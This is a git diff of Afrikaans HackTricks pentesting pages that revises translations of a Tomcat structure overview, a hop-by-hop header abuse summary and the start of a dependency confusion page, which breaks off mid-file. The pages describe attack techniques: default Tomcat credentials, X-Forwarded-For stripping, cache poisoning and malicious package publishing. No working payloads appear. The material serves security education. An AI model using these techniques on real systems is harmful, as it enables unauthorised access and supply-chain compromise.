||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslagplek](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslagplek](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
**Probeer Hard Sekuriteitsgroep**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -20,11 +23,11 @@
|
|||
|
||||
***
|
||||
|
||||
### Vermy om met root te hardloop
|
||||
### Vermy om met root te loop
|
||||
|
||||
Om te verhoed dat Tomcat met root hardloop, is 'n baie algemene konfigurasie om 'n Apache-bediener in poort 80/443 in te stel en, as die versoekte pad ooreenstem met 'n regexp, word die versoek na Tomcat gestuur wat op 'n ander poort hardloop.
|
||||
Om te verhoed dat Tomcat met root loop, is 'n baie algemene konfigurasie om 'n Apache bediener op poort 80/443 in te stel en, as die versoekte pad 'n regexp ooreenstem, word die versoek na Tomcat gestuur wat op 'n ander poort loop.
|
||||
|
||||
### Standaardstruktuur
|
||||
### Standaard Struktuur
|
||||
```
|
||||
├── bin
|
||||
├── conf
|
||||
|
@ -49,14 +52,14 @@ Om te verhoed dat Tomcat met root hardloop, is 'n baie algemene konfigurasie om
|
|||
└── Catalina
|
||||
└── localhost
|
||||
```
|
||||
* Die `bin`-vouer stoor skripte en bineêre lêers wat nodig is om 'n Tomcat-bediener te begin en te hardloop.
|
||||
* Die `conf`-vouer stoor verskeie opsetlêers wat deur Tomcat gebruik word.
|
||||
* Die `tomcat-users.xml`-lêer stoor gebruikerlegitimasie en hul toegewysde rolle.
|
||||
* Die `lib`-vouer hou die verskeie JAR-lêers wat nodig is vir die korrekte werking van Tomcat.
|
||||
* Die `logs`- en `temp`-vouers stoor tydelike loglêers.
|
||||
* Die `webapps`-vouer is die verstek webroot van Tomcat en bied al die toepassings aan. Die `work`-vouer tree op as 'n cache en word gebruik om data tydens uitvoering te stoor.
|
||||
* Die `bin` gids stoor skripte en binaire lêers wat nodig is om 'n Tomcat-bediener te begin en te laat loop.
|
||||
* Die `conf` gids stoor verskeie konfigurasielêers wat deur Tomcat gebruik word.
|
||||
* Die `tomcat-users.xml` lêer stoor gebruikersakkrediteer en hul toegewezen rolle.
|
||||
* Die `lib` gids hou die verskillende JAR-lêers wat nodig is vir die korrekte werking van Tomcat.
|
||||
* Die `logs` en `temp` gidse stoor tydelike loglêers.
|
||||
* Die `webapps` gids is die standaard webroot van Tomcat en huisves al die toepassings. Die `work` gids dien as 'n kas en word gebruik om data tydens uitvoering te stoor.
|
||||
|
||||
Elke vouer binne `webapps` word verwag om die volgende struktuur te hê.
|
||||
Elke gids binne `webapps` word verwag om die volgende struktuur te hê.
|
||||
```
|
||||
webapps/customapp
|
||||
├── images
|
||||
|
@ -73,9 +76,10 @@ webapps/customapp
|
|||
└── classes
|
||||
└── AdminServlet.class
|
||||
```
|
||||
Die belangrikste lêer onder hierdie is `WEB-INF/web.xml`, wat bekend staan as die implementeringsbeskrywing. Hierdie lêer stoor **inligting oor die roetes** wat deur die aansoek gebruik word en die klasse wat hierdie roetes hanteer. Alle gekompileerde klasse wat deur die aansoek gebruik word, moet in die `WEB-INF/classes`-vouer gestoor word. Hierdie klasse kan belangrike besigheidslogika sowel as sensitiewe inligting bevat. Enige kwesbaarheid in hierdie lêers kan lei tot totale kompromittering van die webwerf. Die `lib`-vouer stoor die biblioteke wat deur daardie spesifieke aansoek benodig word. Die `jsp`-vouer stoor [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), vroeër bekend as `JavaServer Pages`, wat vergelyk kan word met PHP-lêers op 'n Apache-bediener.
|
||||
Die belangrikste lêer onder hierdie is `WEB-INF/web.xml`, wat bekend staan as die ontplooiingsbeskrywer. Hierdie lêer stoor **inligting oor die roetes** wat deur die aansoek gebruik word en die klasse wat hierdie roetes hanteer.\
|
||||
Alle gecompileerde klasse wat deur die aansoek gebruik word, moet in die `WEB-INF/classes` vouer gestoor word. Hierdie klasse kan belangrike besigheidslogika sowel as sensitiewe inligting bevat. Enige kwesbaarheid in hierdie lêers kan lei tot totale kompromie van die webwerf. Die `lib` vouer stoor die biblioteke wat deur daardie spesifieke aansoek benodig word. Die `jsp` vouer stoor [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), voorheen bekend as `JavaServer Pages`, wat vergelyk kan word met PHP-lêers op 'n Apache-bediener.
|
||||
|
||||
Hier is 'n voorbeeld van **web.xml**-lêer.
|
||||
Hier is 'n voorbeeld **web.xml** lêer.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
|
||||
|
@ -93,15 +97,15 @@ Hier is 'n voorbeeld van **web.xml**-lêer.
|
|||
</servlet-mapping>
|
||||
</web-app>
|
||||
```
|
||||
Die `web.xml`-konfigurasie hierbo definieer 'n **nuwe servlet genaamd `AdminServlet`** wat gekoppel is aan die **klas `com.inlanefreight.api.AdminServlet`**. Java gebruik die puntnotasie om pakkette te skep, wat beteken dat die pad op die skyf vir die bogenoemde klas sou wees:
|
||||
Die `web.xml` konfigurasie hierbo definieer 'n **nuwe servlet genaamd `AdminServlet`** wat gemap is na die **klas `com.inlanefreight.api.AdminServlet`**. Java gebruik die puntnotasie om pakkette te skep, wat beteken die pad op skyf vir die klas hierbo gedefinieer sou wees:
|
||||
|
||||
* **`classes/com/inlanefreight/api/AdminServlet.class`**
|
||||
|
||||
Daarna word 'n nuwe servlet-kartering geskep om **versoeke na `/admin` met `AdminServlet`** te karteer. Hierdie konfigurasie sal enige versoek wat ontvang word vir **`/admin` na die `AdminServlet.class`-klas stuur vir verwerking. Die **`web.xml`**-beskrywing bevat baie **sensitiewe inligting** en is 'n belangrike lêer om te kontroleer wanneer 'n **Plaaslike Lêer Insleep (LFI) kwesbaarheid** benut word.
|
||||
Volgende word 'n nuwe servlet-mapping geskep om **versoeke na `/admin` met `AdminServlet`** te map. Hierdie konfigurasie sal enige versoek wat ontvang word vir **`/admin` na die `AdminServlet.class`** klas vir verwerking stuur. Die **`web.xml`** beskrywer hou 'n groot hoeveelheid **sensitiewe inligting** en is 'n belangrike lêer om te kontroleer wanneer 'n **Local File Inclusion (LFI) kwetsbaarheid** benut word.
|
||||
|
||||
### tomcat-gebruikers
|
||||
### tomcat-users
|
||||
|
||||
Die **`tomcat-users.xml`**-lêer word gebruik om toegang tot die **`/manager` en `host-manager` admin-bladsye** toe te laat of te verbied.
|
||||
Die **`tomcat-users.xml`** lêer word gebruik om **toegang toe te laat** of te weier tot die **`/manager` en `host-manager` admin bladsye**.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
|
@ -142,26 +146,29 @@ will also need to set the passwords to something appropriate.
|
|||
|
||||
</tomcat-users>
|
||||
```
|
||||
Die lêer wys ons wat elkeen van die rolle `manager-gui`, `manager-script`, `manager-jmx`, en `manager-status` toegang tot bied. In hierdie voorbeeld kan ons sien dat 'n gebruiker `tomcat` met die wagwoord `tomcat` die `manager-gui` rol het, en 'n tweede swak wagwoord `admin` is ingestel vir die gebruikersrekening `admin`
|
||||
Die lêer wys vir ons wat elkeen van die rolle `manager-gui`, `manager-script`, `manager-jmx`, en `manager-status` toegang bied. In hierdie voorbeeld kan ons sien dat 'n gebruiker `tomcat` met die wagwoord `tomcat` die `manager-gui` rol het, en 'n tweede swak wagwoord `admin` is gestel vir die gebruikersrekening `admin`
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
||||
|
||||
**Probeer Hard Security Groep**
|
||||
**Probeer Hard Sekuriteitsgroep**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,54 +1,60 @@
|
|||
# hop-by-hop koppe
|
||||
# hop-by-hop headers
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Hierdie is 'n opsomming van die pos [https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)**
|
||||
**Dit is 'n opsomming van die pos [https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)**
|
||||
|
||||
Hop-by-hop koppe is spesifiek vir 'n enkele vervoer-vlak verbinding, wat hoofsaaklik in HTTP/1.1 gebruik word om data tussen twee knooppunte te bestuur (soos klient-proxy of proxy-proxy), en is nie bedoel om deur te stuur te word nie. Standaard hop-by-hop koppe sluit in `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization`, en `Proxy-Authenticate`, soos gedefinieer in [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1). Addisionele koppe kan as hop-by-hop aangewys word deur middel van die `Connection`-kop.
|
||||
Hop-by-hop headers is spesifiek vir 'n enkele transportvlak verbinding, hoofsaaklik gebruik in HTTP/1.1 vir die bestuur van data tussen twee nodes (soos kliënt-proxy of proxy-proxy), en is nie bedoel om voortgestuur te word nie. Standaard hop-by-hop headers sluit `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization`, en `Proxy-Authenticate` in, soos gedefinieer in [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1). Addisionele headers kan as hop-by-hop aangewys word via die `Connection` header.
|
||||
|
||||
### Misbruik van Hop-by-Hop Koppe
|
||||
Onvoldoende bestuur van hop-by-hop koppe deur proksi's kan lei tot sekuriteitskwessies. Terwyl verwag word dat proksi's hierdie koppe sal verwyder, doen nie almal dit nie, wat potensiële kwesbaarhede skep.
|
||||
### Misbruik van Hop-by-Hop Headers
|
||||
Onbehoorlike bestuur van hop-by-hop headers deur proxies kan lei tot sekuriteitskwessies. Terwyl proxies verwag word om hierdie headers te verwyder, doen nie almal dit nie, wat potensiële kwesbaarhede skep.
|
||||
|
||||
### Toetsing vir Hantering van Hop-by-Hop Koppe
|
||||
Die hantering van hop-by-hop koppe kan getoets word deur veranderinge in bedienerreaksies waar te neem wanneer spesifieke koppe as hop-by-hop gemerk word. Gereedskap en skripte kan hierdie proses outomatiseer, en identifiseer hoe proksi's hierdie koppe bestuur en moontlik miskonfigurasies of proksi-gedrag aan die lig bring.
|
||||
### Toetsing van Hop-by-Hop Header Hantering
|
||||
Die hantering van hop-by-hop headers kan getoets word deur veranderinge in bediener antwoorde te observeer wanneer spesifieke headers as hop-by-hop gemerk word. Gereedskap en skripte kan hierdie proses outomatiseer, wat identifiseer hoe proxies hierdie headers bestuur en potensieel miskonfigurasies of proxy gedrag onthul.
|
||||
|
||||
Misbruik van hop-by-hop koppe kan lei tot verskeie sekuriteitsimplikasies. Hieronder is 'n paar voorbeelde wat demonstreer hoe hierdie koppe gemanipuleer kan word vir potensiële aanvalle:
|
||||
Misbruik van hop-by-hop headers kan lei tot verskeie sekuriteitsimplikasies. Hieronder is 'n paar voorbeelde wat demonstreer hoe hierdie headers gemanipuleer kan word vir potensiële aanvalle:
|
||||
|
||||
### Om Sekuriteitsbeheer te omseil met `X-Forwarded-For`
|
||||
'n Aanvaller kan die `X-Forwarded-For`-kop manipuleer om IP-gebaseerde toegangsbeheer te omseil. Hierdie kop word dikwels deur proksi's gebruik om die oorspronklike IP-adres van 'n klient te volg. As 'n proksi egter hierdie kop as hop-by-hop hanteer en dit sonder behoorlike validering deurstuur, kan 'n aanvaller hul IP-adres vervals.
|
||||
### Omseiling van Sekuriteitsbeheer met `X-Forwarded-For`
|
||||
'n Aanvaller kan die `X-Forwarded-For` header manipuleer om IP-gebaseerde toegangbeheer te omseil. Hierdie header word dikwels deur proxies gebruik om die oorspronklike IP-adres van 'n kliënt te volg. As 'n proxy egter hierdie header as hop-by-hop behandel en dit sonder behoorlike validasie voortstuur, kan 'n aanvaller hul IP-adres vervals.
|
||||
|
||||
**Aanvalscenario:**
|
||||
1. Die aanvaller stuur 'n HTTP-versoek na 'n webtoepassing agter 'n proksi, met 'n vals IP-adres in die `X-Forwarded-For`-kop.
|
||||
2. Die aanvaller sluit ook die `Connection: close, X-Forwarded-For`-kop in, wat die proksi dwing om `X-Forwarded-For` as hop-by-hop te hanteer.
|
||||
3. Die verkeerd gekonfigureerde proksi stuur die versoek na die webtoepassing sonder die vervalste `X-Forwarded-For`-kop.
|
||||
4. Die webtoepassing, wat nie die oorspronklike `X-Forwarded-For`-kop sien nie, mag die versoek beskou as afkomstig van 'n vertroude proksi, wat moontlik ongemagtigde toegang toelaat.
|
||||
**Aanval Scenario:**
|
||||
1. Die aanvaller stuur 'n HTTP versoek na 'n webtoepassing agter 'n proxy, insluitend 'n vals IP-adres in die `X-Forwarded-For` header.
|
||||
2. Die aanvaller sluit ook die `Connection: close, X-Forwarded-For` header in, wat die proxy aanmoedig om `X-Forwarded-For` as hop-by-hop te behandel.
|
||||
3. Die miskonfigureerde proxy stuur die versoek na die webtoepassing voort sonder die vervalste `X-Forwarded-For` header.
|
||||
4. Die webtoepassing, wat nie die oorspronklike `X-Forwarded-For` header sien nie, mag die versoek as afkomstig van 'n vertroude proxy beskou, wat moontlik ongeoorloofde toegang toelaat.
|
||||
|
||||
### Kassie-vergiftiging deur middel van Hop-by-Hop Kopinspuiting
|
||||
As 'n kassiebediener inhoud verkeerd kassieer op grond van hop-by-hop koppe, kan 'n aanvaller kwaadwillige koppe inspuit om die kassie te vergiftig. Dit sal verkeerde of skadelike inhoud aan gebruikers voorsien wat dieselfde bron aanvra.
|
||||
### Cache Vergiftiging via Hop-by-Hop Header Inspuiting
|
||||
As 'n cache bediener verkeerdelik inhoud kas op grond van hop-by-hop headers, kan 'n aanvaller kwaadwillige headers inspuit om die cache te vergiftig. Dit sou verkeerde of kwaadwillige inhoud aan gebruikers wat dieselfde hulpbron aan vra, dien.
|
||||
|
||||
**Aanvalscenario:**
|
||||
1. 'n Aanvaller stuur 'n versoek na 'n webtoepassing met 'n hop-by-hop kop wat nie gekassieer moet word nie (bv. `Connection: close, Cookie`).
|
||||
2. Die swak gekonfigureerde kassiebediener verwyder nie die hop-by-hop kop nie en kassieer die respons spesifiek vir die aanvaller se sessie.
|
||||
3. Toekomstige gebruikers wat dieselfde bron aanvra, ontvang die gekassieerde respons wat vir die aanvaller aangepas is, wat moontlik kan lei tot sessie-kaaping of blootstelling van sensitiewe inligting.
|
||||
**Aanval Scenario:**
|
||||
1. 'n Aanvaller stuur 'n versoek na 'n webtoepassing met 'n hop-by-hop header wat nie ge-kas moet word nie (bv. `Connection: close, Cookie`).
|
||||
2. Die swak geconfigureerde cache bediener verwyder nie die hop-by-hop header nie en kas die antwoord spesifiek vir die aanvaller se sessie.
|
||||
3. Toekomstige gebruikers wat dieselfde hulpbron aan vra, ontvang die ge-kas antwoord, wat vir die aanvaller aangepas was, wat moontlik lei tot sessie oorname of blootstelling van sensitiewe inligting.
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# Afhanklikheidsverwarring
|
||||
# Afhanklikheid Verwarring
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy by 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslagplek](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslagplek](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -19,37 +22,37 @@
|
|||
|
||||
## Basiese Inligting
|
||||
|
||||
Kortliks, 'n afhanklikheidsverwarringskwesbaarheid kom voor wanneer 'n projek 'n biblioteek met 'n **verkeerd gespelde** naam, **nie-bestaande** of met 'n **ongespesifiseerde weergawe** gebruik en die gebruikte afhanklikheidsbewaarplek toelaat om bygewerkte weergawes van **openbare** bewaarplekke te **vergaar**.
|
||||
In samevatting, 'n afhanklikheid verwarring kwesbaarheid gebeur wanneer 'n projek 'n biblioteek met 'n **verkeerde gespelde** naam, **nie-bestaande** of met 'n **onbepaalde weergawe** gebruik en die gebruikte afhanklikheid repo toelaat om **opdaterings van openbare** repos te **versamel**.
|
||||
|
||||
* **Verkeerd gespelde**: Importeer **`reqests`** in plaas van `requests`
|
||||
* **Verkeerde gespelde**: Importeer **`reqests`** in plaas van `requests`
|
||||
* **Nie-bestaande**: Importeer `company-logging`, 'n interne biblioteek wat **nie meer bestaan nie**
|
||||
* **Ongespesifiseerde weergawe**: Importeer 'n **interne** **bestaande** `company-requests`-biblioteek, maar die bewaarplek kyk na **openbare bewaarplekke** om te sien of daar **groter weergawes** is.
|
||||
* **Onbepaalde weergawe**: Importeer 'n **interne** **bestaande** `company-requests` biblioteek, maar die repo kyk na **openbare repos** om te sien of daar **groter weergawes** is.
|
||||
|
||||
## Uitbuiting
|
||||
## Exploitatie
|
||||
|
||||
{% hint style="warning" %}
|
||||
In alle gevalle hoef die aanvaller net 'n **skadelike pakkie met die naam** van biblioteke wat deur die slagoffermaatskappy gebruik word, te publiseer.
|
||||
In alle gevalle hoef die aanvaller net 'n **kwaadwillige pakket met die naam** van biblioteke wat deur die slagoffer maatskappy gebruik word, te publiseer.
|
||||
{% endhint %}
|
||||
|
||||
### Verkeerd gespelde & Nie-bestaande
|
||||
### Verkeerde Gespel & Nie-Bestaande
|
||||
|
||||
As jou maatskappy probeer om 'n biblioteek in te voer wat nie intern is nie, is dit baie waarskynlik dat die bewaarplek van biblioteke dit in **openbare bewaarplekke** gaan soek. As 'n aanvaller dit geskep het, is dit baie waarskynlik dat jou kode en masjiene wat dit hardloop, gekompromitteer gaan word.
|
||||
